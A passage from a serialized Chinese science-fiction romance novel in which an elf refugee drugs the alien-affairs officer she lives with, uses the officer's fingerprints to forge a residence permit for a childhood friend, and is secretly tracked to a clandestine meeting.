“你不知道我们这五年过得什么日子,谁能想到这个时代了还会挨饿。没办法啊,有钱也难买到食物。而且这是你煮的啊,虽然苦,也是苦香苦香的。”康屿安擦拭嘴角,即便说起从前的苦,面上也淡的像和自己没关系。 端戊对着一碗糊面只觉得苦哪来的香?她更愿意理解为,她用很多的小心心在煮面,而康屿安吃到了这些小心心。 “以后, 每天都带你好好吃饭,把这五年补回来。”端戊不敢想象挨饿的日子,想到康屿安刚来地球时瘦的像个落难公主,心一直下沉,坠痛坠痛的。 “好哇!从在你家时就已经好好吃饭了,阿姨的厨艺棒得没边儿!”康屿安盯着端戊的眼睛看,像是在看她,又不像是在看她。 “嗯,咱们宿舍食堂也棒得没边儿,听说师傅是拿过星际什么奖的,厉害着呢。”端戊看着自己碗里剩下的方便面,更觉得难以下咽了。 “真的啊!美食是最容易获取的幸福感。对了,瞳视是不是只有连接意识的时候才能用啊?如果睡着了呢?”康屿安看着端戊吃不下的样子,主动收拾清理了碗筷,摆放到洗碗机里。 “获取幸福感的事情可多了去了,会让你慢慢都体会到的。”端戊托腮看着康屿安忙活,觉得这一刻美好极了,这就是幸福感吧? 平常、宁静又美好。 让端戊没想到的是,下一秒,更美好的事情就砸在了她的脑袋上。 “你今晚住在这陪我吧,我觉得不踏实,自己害怕。”康屿安关上洗碗机,突然转身看向端戊,暖黄的灯照进紫色的眼睛里,融成散着诱人甜香的戚风小蛋糕。 “嗯可以呀,也免得我担心,我睡沙发。”端戊尽量让自己表现平淡,语气如常。其实心里的小鹿像喝了假酒一样,嘚瑟的东倒七歪的。 “沙发还没有你腿长呢!”康屿安环视了一圈,并不觉得还有什么活。 端戊在心里叹息:眼里是真的没活啊!不洗锅的吗?于是,走过去把康屿安拉过来坐在椅子上,接过她看不见的活。 “这都被你发现了?”端戊尽量大大方方的,她有点理解历史上的那些所谓的昏君了,有些时候真的不太好抵抗。 “端戊,是不是抓住杀我老师的凶手,我就没危险了?”康屿安忽如其来的认真,让端戊感到自己特别的没正形。 “其实,那个凶手已经被灭口了,但他们还会派其他的人来,只有幕后黑手落网了,你才会安全。”端戊表情切换的有点突然,差点闪出了表情包。 “他们找的杀手都是外星球被通缉人员吧,如果这样的人被你们抓住了,你们通常会怎么处置?”康屿安托着腮,一脸小学生上兴趣班的专注盎然。 “那就要看情况,如果触犯了地球上的法律,要依照地球律法处理。如果在地球上没有犯事,就依据星际法和引渡条约,依法遣返。你什么时候对这些感兴趣了?我老师每天晚上给辛瑙线上补课,要不,你和辛瑙一起?” 端戊收拾好厨房,坐到康屿安对面,与她视线纠缠到一起。 康屿安视线却躲开了,比害羞坦荡一点,比心虚磊落一点,端戊反而困惑了。 她好想打开小精灵的小脑壳看看,自己一直好奇里面到底装了什么,她每天都在想些什么。 “你回自己房间洗澡吧,我洗漱完在房间等你。”康屿安豁达的无一丝杂念,端戊觉得自己一闪而过的那个念头,简直就是亵渎。 端戊刚出去,康屿安就从她的大包里,拿出从黑市淘来的一小包稀奇古怪的东西。 39.第 39 章 康屿安一件件拿、一样样的摆,布阵似的摆满茶几,像一位法官审视着它们。 她没想到,最没有安全感时期准备的防身玩意儿,却在安全感膨胀到爆棚的时候,用在了端戊的身上。 端家的每一个人,都是她在地球上最信任的人。可惜了,他们的信任不能再是相互的了。 康屿安状似弹琴,指尖在十几个木盒锦袋上跳跃,最后停在一个黑色丝袋上,停了几秒才拿起打开。 里面有两颗药丸,一粒大一点的是白色药片,另一颗是半透明的小胶囊,米粒一样大小。 看着指甲盖大小、能噎死人的药片,康屿安眉心促成小饼干。 药片太大颗了,吞咽着有点费劲,药片差点随着水掉进杯子里。最后,康屿安才把那个米粒大小的胶囊,藏在嘴里。 她有想过藏在食物里或者藏在水里,可是黑市那个独眼的老板说,那样不能保证胶囊刚好被食用者咬破,而药效都靠着胶囊保持呢。 若是中间出了纰漏,他可是概不负责的哦。 想了很久,康屿安还是觉得亲力亲为比较保险,虽然那样做损失有点惨重,可是想想崔雪松,想想她牺牲的父母,想想她忍辱背负的罪名。 大局之下,初吻算个屁啊! 算算时间,她去浴室洗澡了。刚进去端戊就已经香喷喷的回来了。 看康屿安还在浴室里,长出一口气有点脱力地坐在沙发上。急匆匆的,洗的太快甚至都没顾上喝口水。 看到茶几上半杯水,她只记着是自己倒给康屿安的,至于里面有多少水,小精灵有没有喝过,端戊并不在意。 两咕咚就一饮而尽了。 喝完水整个人就又活过来了,抽了筋似的瘫在沙发上。房间静的只剩下浴室的水声,端戊心里的两个小人蠢蠢欲动地就又吵起来了。 “在沙发上傻坐着多奇怪啊?” “难道躺在床上等着?那才叫奇怪。” “要不然呢?难道一会儿还让人家喊,端戊过来睡觉了?” “那总好过人家一会儿从浴室出来,你已经躺在床上等着了好吧?” “干嘛?装不熟啊?” “怎么?来侍寝啊?” 卫生间的水声突然停下来了,两个小人立刻闭嘴了。 “端戊?”康屿安的声音隔着门、泡着水雾,有种欲拒还休的诱惑。 “嗯在,要什么?”端戊脑子里嗖嗖闪过浴巾、睡衣、嗯甚至……哈是吧? “我洗的会慢一些,你先睡,不用等我。”康屿安熟稔的语气,自然的嘱咐,就好像每天都是这样的。 “哦……好!”和自己想的怎么不太一样呢? 不过也好,两个小人的矛盾解决了,耳根子终于清净了。 端戊把杯子送到厨房,整理了沙发才回到卧室。 奶白底色的床单、被子,交错着姜黄宽条纹和深蓝窄条纹,尾端还蹲着两只姜黄色的小松鼠,一看就是端妈的审美。 床头柜上有一个太空熊氛围小夜灯的加湿器,湿润的果香四溢,让端戊随之松弛的有点昏昏欲睡了。 端戊先是躺在了右边,闭上眼睛酝酿。刚刚不是有睡意了吗?怎么反而更精神了?眼睛明明是闭着的,却能看到真实的景象,还越来也清晰。 无奈的睁开眼睛,发现浴室离右边更近些,康屿安要走一圈才能到床的左边。 于是端戊挪动到左边,把右边床单上的褶皱抚平,又爬起来撅着屁股把被子拉平。 “端戊,你在干嘛?”康屿安甩着着擦半干的头发进来时,正看到鸵鸟精在那扑腾。 “我在……你洗好了?头发怎么没吹?你等我!”端戊机灵的避开康屿安的提问,猴子下山似的跑去卫生间,很快拎着干发梳就出来了。 端戊估摸着康屿安平时发卷的大小,调整了干发梳的齿距和温度,拉着康屿安坐在梳妆镜前坐下。 从发根到发梢,端戊小心、细心、慢慢的往下梳,经过小耳朵的时候,端戊都会用另一只手扣住的。感受到精灵耳的耳尖,忽闪着一下下划过掌心,她还会轻拍着安抚,像是对待婴孩一样。 康屿安从镜子里看着端戊,心里有点堵着难受,不知道将来自己会不会后悔?不管怎样,现在她只想好好记住眼前的温柔安然,将来再也不会有了。 相比公序舍的岁月静好,外面的世界多少有些血雨腥风。 深巷里的一个废弃厂房,流浪猫在里面大杀四方,拖家带口的老鼠们四处乱窜。除了猫鼠大战,连流浪汉都不会来这里。 “我来了没多久,就听说过这里。都说这里不干净,是你放出去的口风吧?”声音清脆如同跳起的豆子,字字落地有声。 响起在漆黑寂静的厂房里,打断了流浪猫和老鼠的厮杀。 “什么都瞒不过你,小小年纪是成精了吗?”一个不辨男女的声音是用了变声器,在黑暗中还怪瘆人的,可是说出来的话,却透着长辈般的宠溺。 “我若是真的成精了,这会儿就不会是通缉犯了,我在这里应该怎么称呼您啊?”一个挺拔的身影,猴一样的蹲在大门一侧的石狮子上,浅灰色的眼睛在黑夜中熠熠生辉。 “那就是一个代号,在地球上的这么多年换太多次了,早已经不在乎了。再说了,白天即便是走在街上,你也是不认识我的,就算认出来,也是要假装不认识的,没大用处的代号,还得费脑子去想。” 石狮子下,站着一个身形单薄、背有点驼的人,脊柱却是挺直了的。 “那我就和从前一样,叫你百面师父吧。”年轻人从石狮子上一跃而下,推掉扣在头上的帽子,露出一对白色的精灵耳。 崔雪松全然不见在叶白面前的八面玲珑,也没了在端戊面前的中规中矩。也只有她自己知道,这幅古灵精怪到底是不是她的真面目。 “雪松的这对耳朵,真是和你妈一模一样,那些挨千刀的不得好死。”百面抚上崔雪松的黑色短发,注视着黑夜中也能一眼看到的白色耳朵,变声器也没压住颤抖的尾音。 崔雪松发出嚼碎骨头的咯吱声:“对抗外敌时,我爸妈都没牺牲,却死在 了自己人的手里。这些畜生必须死在我手上才行。” 百面只是想念故人了,没想惹得崔雪松伤心。 “我来地球二十年了,前十五年朝暮星忙着内战,后五年又被外敌侵占。我就从没有收到过任何指令,工作完全都是靠自觉。这么多年我自己都不记得换了多少张面孔,有过多少个身份了。到处搜集情报,秘密转回朝暮星。可是突然有一天,我送回去的快递被退回来了,说收件地址不符?基地搬家了还是解散了,总应该通知我一下吧?” 明明来地球上是做间谍的,可是百面发现自己愣是做成了一个笑话。 “你的快递被退回的那一年,政府正式分裂了,朝暮星早就一分为二,成为两部分了。” “你说的这些后来我就知道了,可是我还是回不去。朝暮星律法你还不清楚,无诏令、私自归,视为逃兵,回去也是一死。” “百面师父这次找我来,不是因为这事?”崔雪松随意的坐在台阶上,一手撑着地面,一手搭在蜷起的右膝上,抬头看这个从未谋面却可以信任的人。 “你在朝暮星被陷害通缉的事情我都听说了,你暂时最明智的选择就是留在地球上。”百面在地球上做了二十年的好公民了,她想要不管不顾的做一次朝暮星人。 哪怕暴露被捕,也好过浑浑噩噩的拿着剧本过日子。 “你别瞎折腾,我有更好的办法。你好好活着,以后我们一起回朝暮星,回去报仇时,你还得帮我呢。”崔雪松白了百面一眼,拒绝了搏命而帮的念头。 废而不自知,还能浑浑噩噩的苟活。就怕清醒的废了,对于一个有能力、有抱负的人来说,生不如死。 百面现在就是这样,所以崔雪松帮她埋下一颗生的信念。 “我见到一个和你安逸姨很像的紫耳朵精灵,紫色在咱朝暮星可不常见,也就那两个家族。”百面提起康屿安时,其实已经有了一个完整的计划。 “那就是安逸姨的女儿,她叫康屿安。”崔雪松又怎么会不知道百面的心思,按照从前她对康屿安的维护,是不会让她掺合进来了。 可是她想起那个叫端戊的警察,以及她对康屿安的在意。 “我可是听你妈说过,你小的时候就为了救人家,差点丢了命,怎么来地球,没给人家托个梦?”百面一点点的试探崔雪松。 “我那叫造梦,死了才叫托梦,您盼着我点好!我已经造梦和她联系上了,咱俩见完就去见她,时间也差不多了。” 康屿安从镜子里看看墙壁上的时间:时间差不多了。 甩了甩头发,灰色的大卷轻盈的像是跳跃地音符,击打在端戊的心上。 “端戊,头发干的差不多了,我们睡觉吧。” 端戊拿着干发梳的手一抖,不小心扯到了康屿安的头发。 “唔……”小精灵吃痛嘤咛出声,从鼻子里哼出短促软糯的电音。 端戊慌忙用手轻揉扯痛的地方,又贴近了呼气轻吹。 发间的樱花香让她不由把鼻尖抵进灰色发丝,吸猫一样的深吸一口气。 40.第 40 章 端戊闭上眼睛,犹如落入樱花树下。 从前只吸过酱油筋,认为宇宙间只有咪最香呢。谁知道咪外还有精灵,竟然是精灵最好吸。 康屿安身上有种特殊的清香,不属于洗发水和沐浴露,更不是身体乳或者香水。 那就是康屿安自己的味道。 端戊保持着吸猫的动作,僵持在那里:我刚刚干了什么?上头了、冲动了,有点尴尬了。 端戊不动,康屿安动了。整个人靠在端戊的身上,头向后仰去。这样,端戊的鼻尖便从发丝间滑出来了,只能看着反过来的透粉小脸,额头和嘴巴相对。 端戊半干的碎发散落下来,垂在康屿安的脸周,像是围起一圈朦胧的纱帐。 康屿安抬起双手环上端戊的脖颈,微微撑起身体,端戊的脸越来越近。 康屿安的小脸不断的放大、一直放大。 “啾!”康屿安的嘴唇撞到了端戊的额头,亲出了一个可可爱爱的声音。 两个人在朦胧围绕间四目相对,端戊被撞的有点懵,傻傻的看着肇事者紫亮的眼睛。 肇事者忽闪着浓密的睫毛,似有似无的轻风穿过发间。端戊正探究着,康屿安突然大笑,露出了细密的小白牙。 “还是第一次看到你的牙齿……”不能怪端戊没见过世面的样子,康屿安来到地球后,就没见她这样笑过。 私下里端砚还吐槽过人家:康屿安面部神经受损,不会笑的吧? 很快,端戊眼中最好看的牙齿咬住了她的脖子。刚感觉到疼,康屿安已经嘟起嘴,小蜜蜂采蜜一样吸吮端戊的脖子。 “嗯……这么喜欢咬人呢?小妖精呀……”端戊努力压制着心里乱爬乱咬的蚂蚁们。 康屿安并没有就此放过她,反而不断的冲击端戊的防线,用舌尖一下下试探她脖子上的温度。 端戊又想起了蜂鸟,应该就是康屿安这个样子采蜜的吧? 然而,她不想做那朵待采蜜的花儿。 于是,修长的手指变成了蟹钳,捏住康屿安娇小的下巴,目光锁定了刚采过蜜的唇瓣。 康屿安挣脱了,她竟然跑了。可是她跑回了床上算怎么回事?还钻进被子了。 端戊实在没忍住地笑了:画地为牢吗? 成功逃回床上的康屿安长舒一口气:把你放倒在其他地方,我哪有力气把你拖回床上? 最高端的猎捕,往往是让猎物把对方当猎物,以为自己才是真正的捕猎者。 似乎有一条无形的绳子,拉着端戊回到床上,在康屿安大大方方的注视下,躺在她的旁边。 端戊到底不是上头即无脑,其实内心是有一点点疑问的:这个眼神对吗?怎么感觉和行为对不上号? 不对劲也就算了,有些眼神会让人极度不舒适,哪怕是还没有对视上。 端砚的宝宝肚儿吃成西瓜肚后,辛瑙就把她送回家了。 难得不用加班,师祖又有事不用上课,突然就有了自己的时间。兴奋劲儿还没过辛瑙就不开心了,她不会玩了,不知道该怎么玩了。 自己都有点难以置信,毕竟从前她是以玩为主业的。 最后,辛瑙打算找个酒吧放松一下,虽然她的工作压力没多大,可是强度大、绷得紧啊。 坐下刚喝第二杯,辛瑙就察觉到了让她不舒服的视线,像把利剑一样穿透她身体。 辛瑙循着感觉,看似猎艳的瞄过去。果然鱼竿一出,信号连接成功。 让她没想到的是,对方是个小精灵。如果在从前,辛瑙会猜测小粉耳朵是奔着她财神爷的马甲来的。 现在她可不会这么肤浅判断了,毕竟,她也是师祖每晚上课辛苦带出来的。 小粉耳朵的眼睛里,没有一丝对金钱的向往,完全就是奔着一招制敌,勾引成功来的啊。 说实话,小粉耳朵还算是惊艳,但是有了康屿安这个小紫耳朵珠玉在先,小粉耳朵就像是褪了色一样,暗淡了不少。 “小姐姐一个人喝酒?真巧,我也是一个人,方便一起不?”粉耳朵眨巴着灰色眼睛,像是一根勾引小白兔的胡萝卜。 “哈哈……不方便。”辛瑙知道,她是知道自己是谁的。还知道,她的目标看似是自己,其实并不是。 粉耳朵可能没想到,这双刚刚还全场搜索的桃花眼,这会儿能眼神坚定如僧的拒绝她。 想到背后那双淬了毒的眼睛,粉耳朵才不管辛瑙说了什么,她只做她想要做的。 粉耳朵一屁股坐在辛瑙的旁边,单手托腮、媚眼如丝,歪着头、斜着眼看着辛瑙:“小姐姐,我请你喝一杯怎么样?不许拒绝我哦。” 说着伸出一只艳红的手指,戳到辛瑙眼皮子底下,看样子是要堵上辛瑙的嘴,不让她说出拒绝的话来。 “别小姐姐了,小姑姑也不行,你不在我的兴趣线上。”辛瑙顿时觉得酒吧都无趣了,处处都吸引不了她,还要来添堵下头。 没再多看小粉耳朵一眼,辛瑙起身就走了。 看着辛瑙头也不回的背影,粉耳朵对着阴暗角落处晃了一下手里的蓄光棒。一个戴着口罩和棒球帽,穿着严严实实的大块头站起来,跟了上去。 洪橙橙越想越气,一巴掌重重的拍在桌子上。从朝暮星到地球,她最羡慕的人都是康屿安,似乎什么都不用做,就什么都能拥有。 哪怕正在做坏事,也没有被端戊怀疑。 康屿安档案早已经录入系统了,背景清白。而且她在端戊家里住了很长时间,如今也算得上知根知底,不可能是间谍。 再说,朝暮星都强弩之末了,早就没有派间谍来的必要了。即使有,不是应该去秃鹫星和哥布林星的吗? 康屿安看着端戊眼里的游离,反而有些怀疑了:这个眼神对吗?不应该是迷离的吗?难道她对我有所怀疑?不应该的啊! 整晚都没敢多说一句话,就怕言多必失,但是一句话不说也不行。 “端戊,瞳视是黑色的吗?”康屿安眼里是幼崽一样的纯粹。 “透明的,你戴上后眼睛还是紫色的。”如果她们现在算是情侣,端戊发现自己一点都不称职。 不但给不了足够的 陪伴,单单是办理瞳视这事,就一拖再拖,拖得人家打算自己去了。 “我想试试这个是怎么用的。”康屿安向端戊挪了挪,两个人的膝盖已经碰到了一起。 “好,我开了共享模式,你可以把你的意识连上来。”端戊多少是带着些补偿情绪的。 只要不涉及工作、不违反规定,这会儿她并不会拒绝康屿安的要求。 哪怕……也不是不可。 “我滴天呀!这简直是进了新世界啊。”康屿安开心的尾音都拔高了。 在瞳视里,她的意识可以进入全息世界,不是传统意义的玩游戏,而是参与进去游戏。 “哈哈哈好玩吧,我刚有自己瞳视那一年,都忘了自己还有个学生身份了,要不是我妈一顿棍棒把我唤醒,现在指不定什么情况呢。”端戊看着康屿安开心,她自己就开心,一个不小心就交了底。 康屿安真的是玩嗨了,并没注意自己已经依偎到端戊的怀里。甚至也忘了这是一个目的不纯的夜晚。 “哈哈哈!阿姨还真的是手下留情了。”康屿安是看过端砚挨揍的,端戊这么大的事,听起来也没怎么样嘛。 “那还不是因为姐学习是天赋,考试是强项。”端戊还真不是凡尔赛,她从小就是一听就懂,一看就会,一考就过。 端戊很难看到真实的康屿安,每次都是借了端砚的光。即便是在端砚面前,也没见过今晚这样的康屿安。这,应该就是她在朝暮星时的样子吧? 康屿安越开心,身上奶香的味道越浓郁,端戊觉得窝在自己怀里的是个大泡芙。 有点饿,有点想吃。 端戊没忍住,对着‘泡芙’的妙脆角咬了下去。 游戏中的康屿安顿时断开连接似的停在原地,被野怪吃掉了。 康屿安有点气恼的把耳朵挣脱出来,河豚似的抬起头,却对上夜空一样的漆黑眼眸,星星像是撒在了端戊的眼睛里。 “你干什么!我都挂在里面了!”康屿安迷失在端戊满眼的银河里,气焰弱了一大半。 怎么是我迷失了?我的目的不是让端戊迷失吗?康屿安终于想起自己的邪恶计划了。 计划中的猎物现在比猎人更邪恶,在康屿安还没来得及闭上嘴时,眼疾嘴快、牙精准地捉住了她的舌头。 两个人从来没有这么近距离接触过,康屿安甚至听到端戊吞咽的‘咕咚’声,却不知道在端戊的耳里,全都是康屿安小鼓乱锤一样的心跳声。 终于吃到泡芙了,端戊觉得自己满嘴都是康屿安的香甜,周身热流狂窜。 康屿安两只小手抓紧端戊睡衣领子,感觉自己像是坐过山车一样,胳膊、腿都是软的,只有贴紧端戊才不会被甩出去。 闯进来的舌头突然带出她藏在舌底的胶囊,提醒着康屿安今晚是要算计端戊的,怎么能沉迷呢? 康屿安在心里暗骂端戊:哪有这么主动的猎物,就好像知道自己的陷阱在哪里一样,一头就撞进来,都不给猎人反悔的机会。 康屿安舌头翻动,把胶囊带到一边送到牙齿间。 41.第 41 章 康屿安没想到,胶囊里面是甜的。 果然,陷阱里的诱饵都是最香的,骗子的圈套也都是最甜的。 对于毫不知情的端戊来说,只觉得这个吻格外的甜,没有回味,只有反转。 “端戊……”康屿安抽回舌头,好像再晚一点就会被咬断似的。舌尖上残留的药,很快就变苦了,一直苦到心里。 端戊睡得很沉,没有回应。 “端戊……”康屿安用力推了推,确定端戊是真的昏睡过去了。 “这不就是全麻吗?会不会伤到这颗最强大脑?对不起……”康屿安帮端戊盖好被子,却发现这个人睡着时反而更可爱些。 整张脸格外的黑白分明,只有两片薄唇是淡粉色的,成为这张禁欲脸上的一抹诱惑。 康屿安低下头吻上去,唇瓣软软凉凉的:“对不起,端戊……” “端戊在哪……他们说,你知道!”一个瓮声瓮气、听起来就不太聪明的声音,出现在辛瑙的身后。 辛瑙脚步一顿:来者不善啊! 回过头看到了小山一样壮实,又遮挡严严实实的马利斯基,辛瑙像是被一盆冰水兜头浇下。 她确实害怕了,不是因为对方壮得像头熊,而是一眼就看出对方没脑子还很轴。 如果被她当成目标,真的会一直纠缠、不死不休。看来端戊这次是惹上平头哥了,很烦、也很麻烦。 “我不知道。”辛瑙转身就走,尽管心里清楚自己肯定是走不掉的。 “你不许走!他们说你认识的,你告诉我端戊在哪?”马利斯基不依不饶地跟上来,甚至伸出手就去抓她。 辛瑙感觉到地震了,脚下咚咚抖动,还有嗖嗖的冷风吹起一身鸡皮疙瘩。猛然回头,便看到一只毛茸茸的手、指甲缝里还带着泥,泥爪子已经伸到了眼前。 腌入味儿的血腥气也扑鼻而来,眼看着辛瑙就要被抓住领子了。 这时,一道黑影凌空而至,侧身踢向伸过来的泥爪子。另外还有五个人围成半弧形,站在辛瑙面前。 辛瑙看着对面被愤怒染红的眼睛,竟然有种熟悉的感觉。 “都滚开!你!带我去找端戊!”马利斯基根本没把穿黑衣的哥几个当回事,嚣张的指着辛瑙命令她。 “你谁啊你!你说咋地就咋地啊?”辛瑙看似玩世不恭地和他扯皮,其实真的很好奇对方是谁。 端戊不是说,这份工作也就是个外星人的户籍警吗?哪个户籍警像她俩一样在刀尖上办户籍啊? “你必须和我走!”傻熊的轴劲儿上来了,直直冲着辛瑙就过来了。 这么多年来,辛瑙虽然爱玩但是不惹事,负责她安全的哥几个,都怕辛瑙忘了有他们几个人的存在,闲得快要生锈了。 总算是来活了,个个精神头儿老足了。留下一个人在辛瑙身边,另外五个冲上去把马利斯基团团围住。 攻上路的三个人,分别直击马利斯基的头部、面门,和咽喉,直拳、摆拳,上勾拳,拳拳生风。 攻下路的两个人,直踢马利斯基的要害和小腿,勾踢和扫堂腿,脚脚狠辣。 辛瑙看这攻势,三下五除二就应该能解决大块头。正盘算着是把人送到派出所呢?还是带回清异局? 不出意外的话,意外就要出现了。 挡在辛瑙前面的安保,倒吸一口冷气大声惊呼:“老大!” 辛瑙先是闻到了血腥味,抬头看时,那场面差点成为她一辈子都散不去的阴影。 队长尤里右手臂只剩下骨架了,不过两招就被骨肉分离了。同时,尤里也扯下了对方的帽子和口罩,那张脸辛瑙见过! “马托斯基!诈尸了啊!”辛瑙顾不上害怕,拿出法器先把这货儿的意识控制住,别再有伤亡才是最重要的。 安保人员正要上去把他绑上,那么一个大活人竟然在所有人的眼前消失了。 “快!你俩先送尤里去医院!”辛瑙知道真正有危险的不是自己,而是端戊,一刻都不敢耽搁地连接端戊瞳视。 对方却无人应答。 康屿安看着辛瑙的视频一直弹出,直到她放弃了。 那个满眼温情和歉意的康屿安不见了,她快速的从瞳视里打开端戊的工作频道。 按照记忆中端戊为她办理地球居住证的流程,找到所有需要填写信息的表格,填上崔雪松的信息。 所有需要确认信息的部分,她都选择了指纹确认。需要验证身份时就拎起端戊的手指,确认后上传系统。 机器人工作的好处此刻就显现出来了,二十四小时在线,没有所谓的工作日内的工作时间,电子居住证很快就下来了。 把居住证电子码发到了崔雪松的邮箱,康屿安才发现自己鼻翼和手心都沁出了细密的汗。 犹豫了一下,还是清除了使用痕迹:“对不起,对不起,对不起。” 康屿安像是揉面团一样,揉搓着端戊的脸颊,就好像这样她就能接收到所有的歉意一样。 “我不能不管崔雪松,我不能看着她在外面搏命,也不能看着她被遣送回去送死……”一滴泪落在端戊的手背上。 看了一眼时间,康屿安赶紧换上衣服从卫生间走了,轻车熟路的劲儿,可以看得出来水遁比走门的次数还要多。 康屿安刚离开房间,端戊倏地睁开了眼睛。 听着她水遁时轻微的风声,看向康屿安留在手背上未干的泪,端戊笑了,笑得像是吃下一口黄连。 “你是哭我像一个傻子被你玩弄于股掌间?还是哭崔雪松颠沛流离的苦? 端戊以为自己心会很痛,至少也该很难过吧?可是为什么她只想笑?只觉得自己可笑。 她坐起来查看瞳视记录,除了游戏记录没有任何痕迹。 端戊深吸了一口气,呼吸间还有康屿安的甜味儿,呵呵,当然也可能是迷药的甜味儿。 端戊恢复了康屿安清空的内容,看到她费劲心思、大费周章的迷倒自己,就是为了这个崔雪松。看来自己让辛瑙查崔雪松时,她已经醒了。 “还真的是会装呢,和第一次见面时一个样子,她,从来没变过。”端戊歪着嘴角轻笑,这不就是法海被青蛇骗了吗? “还真的是一点都没为我考虑过呢,如果崔雪松在地球上有犯罪记 录,却有经我手办理的居住证,我会承担什么后果?你从来没想过。”端戊的心后知后觉的痛了,而她认定那是被康屿安气的。 端戊气鼓鼓地启动防窃密的反追踪系统,派出了追踪的摄像机器人。她到底要看看,大半夜的放倒她,究竟是去见谁,到底去干什么! 追踪机器人比端戊还要烦恼:这是要去干什么?就不能有好点的路走吗? 康屿安按照崔雪松在梦里留下的信息,找到了一个射电望远镜核心静默区,她出现的时候,看着荒郊野外的,还以为位置传送错误呢。 如果找她的人不是崔雪松,康屿安都会以为自己是被卖掉了。 机器人摄像头另一边的端戊,本来已经被连着摔跟头,一路上磕磕绊绊的机器人晃到眩晕了。 可是看到康屿安和崔雪松约会的地方,咻地就从床上站起来了。 “这哪是普通的约会!这特么不是间谍接头吗?看她俩选的这个地方!” 也难怪端戊会激动,首先这就是一块电磁净土,方圆五公里没有任何通信基站,屏蔽了所有信号。 这都不重要,她可以理解为崔雪松是躲避追踪。 重要的是,这里是宇宙信息接收站啊!全星际的所有信息,无论是官方的还是小道的,都是从这里接收。 把她放倒后,俩人来到这个地方,让端戊怎么能淡定,从床上下来不停地在地上转圈圈。 悬浮屏里,康屿安像是做诱饵的羔羊一样,哆嗦着往前摸索。 偏僻的连只流浪猫都没有,倒成了老鼠的天堂,肆意的在空旷的场地上嬉闹狂欢,甚至挑衅的站在康屿安面前看着她。 虽然偏僻,但是四处灯火通明,灯光照在老鼠有恃无恐的眼睛里,诡异的像是个鼠人。 康屿安真的被吓死了!风刮过,她惊弓之鸟。老鼠跑,她大声惊叫。 端戊站在屏幕前看着,心情复杂的像是煮沸的八宝粥。康屿安在她眼里就像是傻姑娘,放着好好日子不过偏学人家玩私奔,眼光还不咋地。 看着她一惊一乍的却听不到一点声音,端戊突然意识到追踪机器人闲置太久,没检修也没维护,声音系统故障了。 “卧槽,关键时刻成聋子了!”端戊赶紧调配应急的后补机器人,就这路途遥远的,后补到位时估计康屿安都回来了。 一个修长的身影突然出现在康屿安的身后,而康屿安的注意力全都在老鼠们的身上,完全没察觉。 “就这点心眼全特么用在我身上了,对付我时可精可灵了,出去就是个傻子嘛!”端戊气不打一处来,越是担心,越不愿意承认,于是就越生气。 虽然,她已经从身形看出了那个人是谁。 崔雪松从背后拉住康屿安的手腕,没想到把康屿安吓得原地跳起。 “安安,别怕,是我。”崔雪松压住康屿安的肩膀,像是哄小朋友一样安抚着她。 从小到大,都是这样和康屿安说话,养成的习惯并没有因为两个人长大了而改变。 “小松!”转身看到崔雪松,康屿安想都没想就抱住了她,不要钱的眼泪断了线似的流。 42.第 42 章 端戊看着悬浮屏里久别重逢的两个人,气的耳朵冒烟。更让她气愤的是,竟然还是康屿安主动抱上去的! “这是月亮归位,星星回家,紫耳朵终于又抱到了白耳朵?”端戊都气唱了,一巴掌挥向悬浮屏,修长的手指从拥抱的两个人身体穿了过去。 最最让她生气的是,她现在是个‘聋子’,只能对口型猜这俩人到底说了啥。 康屿安喊崔雪松时是两个字,是‘雪松’? 崔雪松喊康屿安时也是两个字,这个端戊能猜到,肯定是‘安安’! 然而,接下来大段的话,可就不是端戊能猜得出来的了,更何况小精灵着急的时候,说话语速会特别的快,两片嘴唇都快出残影了。 “小松,你现在有地球居住证了,电子码我已经发到了你邮箱,你可以光明正大地在地球上生活了,所以不要再为了生存和身份去做任何危险的事,也不要去为那些坏人造梦!” 康屿安像个小妈妈一样,叽里哇啦的唠叨了一大堆。 崔雪松拍着康屿安的头强压嘴角:只不过几个月没见,小丫头就长大了,她是怎么做到又像个家长又像个孩子的? “你被我造的梦强行控制住,我以为你会生我的气呢?”崔雪松甚至猜测康屿安会假装没发现她在梦里留下的消息,而不出来见她。 “我又不是小孩子了,知道轻重缓急的好吧?我刚说的话你要记住!”康屿安担忧地上下打量着崔雪松,变了好多。 她的变化不仅仅是人瘦了、黑了,更隐约有种凛冽的黑化感。 “你是怎么弄到的?”崔雪松当然不相信端戊这么好说话,随意就让一个没审核背景,甚至没见过一面的人,直接在地球上落地扎根的。 “我有我自己的办法,你别管了。对了,你来到地球上,没做什么违法的事情吧?”康屿安反射弧有点大,那会儿一时上头,只想着崔雪松不能死。 这会儿冷静下来了,才细想这件事的后果。毕竟,端戊也不是别人。 “如果违法了会怎样?没违法又会怎样?”崔雪松到底是在部队大院长大的,康屿安一问出来,她就已经猜到了居住证是怎么来的了。 许久未逗,见了面她就想逗逗康屿安。 “还能怎样!你没违法我就还能再拖拖,找个适当的机会坦白。如果违法了,我就得去自首了,总不能连累人家吧?”康屿安一拳砸在崔雪松的手臂上,立刻蹙眉怒瞪,怎么疼的是自己的手? “我又不是暴徒,好歹也是根正苗红长大的,你对我这点信任还没有哇!”崔雪松发现康屿安变化很大,从前的任性丁点儿不见了,反而是满身的责任和担当。 “有哇,就因为是看着你长大的,相信你是个好孩子,我才敢这么做嘛!”康屿安拉了拉崔雪松一身略显肥大、还洗的有点褪色的衣服,思量着给孩子添两套新衣服。 “别说得好像你是我长辈似的,咱俩是彼此看着对方长大的。不用惦记给我买衣服,故意装穷的,迷惑目标、接近目标。不管用什么办法,我都要拿到那人叛国的证据。” 崔雪松对康屿安的了解,只会比她对自己的了解多。 到底比她大一岁,成熟一点,鬼机灵多一点。 “危不危险啊?别不管不顾的,只有你好好活着,一切才皆有可能。要不然崔叔、宋姨看到了会心疼难过的。” 康屿安抓住了崔雪松的胳膊,心里知道就算她说不危险,那也是假的。 悬浮屏前的端戊,看懂了‘只有你好好活着,一切才皆有可能’这句的口型,心里酸痛酸痛的,用四根手指甲用力抠着大拇指。 康屿安把自己常说的话听进去了,放进心里了。可是,她在用这句话去规劝另外的人。 崔雪松拍拍康屿安的肩膀,她明显坚强了很多,可还是不想让她跟着自己担心。 “只要不暴露就不会有危险,你记着我妈妈常提起的百面师父吗?我今天和她见了面,她给了我一些东西就更稳妥了。” 崔雪松没有骗康屿安,说没有危险,那样她也不会相信,反而会更担心。 